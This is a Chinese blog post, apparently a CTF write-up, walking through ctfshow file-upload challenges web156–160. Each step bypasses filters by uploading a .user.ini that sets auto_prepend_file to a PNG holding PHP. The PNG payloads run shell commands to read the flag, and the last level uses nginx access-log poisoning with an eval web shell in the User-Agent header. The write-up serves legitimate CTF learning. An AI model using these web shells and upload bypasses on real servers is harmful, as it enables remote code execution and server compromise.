ctfshow web入门文件上传 web156-160

最新推荐文章于 2024-07-07 12:27:30 发布

mushangqiujin

最新推荐文章于 2024-07-07 12:27:30 发布

阅读量1.1k

点赞数 13

分类专栏： ctfshow通关文章标签：前端

本文链接：https://blog.csdn.net/m0_62207170/article/details/136700875

版权

ctfshow通关专栏收录该内容

42 篇文章 5 订阅

订阅专栏

1.web156

前端还是要修改
在这里插入图片描述
文件内容中不能有php,[],图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=2.png，在上传2.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)
上传.user.ini

上传2.png 读取flag
在这里插入图片描述

2.web157

前端还是要修改
在这里插入图片描述
文件内容中不能有php,[],;,图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)
上传1.png

上传.user.ini
在这里插入图片描述

3.web158

前端还是要修改
在这里插入图片描述

文件内容中不能有php,[],;,{}，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)

上传1.png
在这里插入图片描述

上传.user.ini
在这里插入图片描述

4.web159

前端还是要修改
在这里插入图片描述

文件内容中不能有php,[],;,{},()，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?= `tac …/f*`>，访问链接就可得到flag (http://…/upload/index.php)

上传1.png

在这里插入图片描述

上传1.png
在这里插入图片描述

5.web160

前端还是要修改
在这里插入图片描述

文件内容中不能有php,[],;,{},(),空格，log，``，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?=include"/var/lo"."g/nginx/access.lo"."g"?>，访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>，得到flag

上传.user.ini
在这里插入图片描述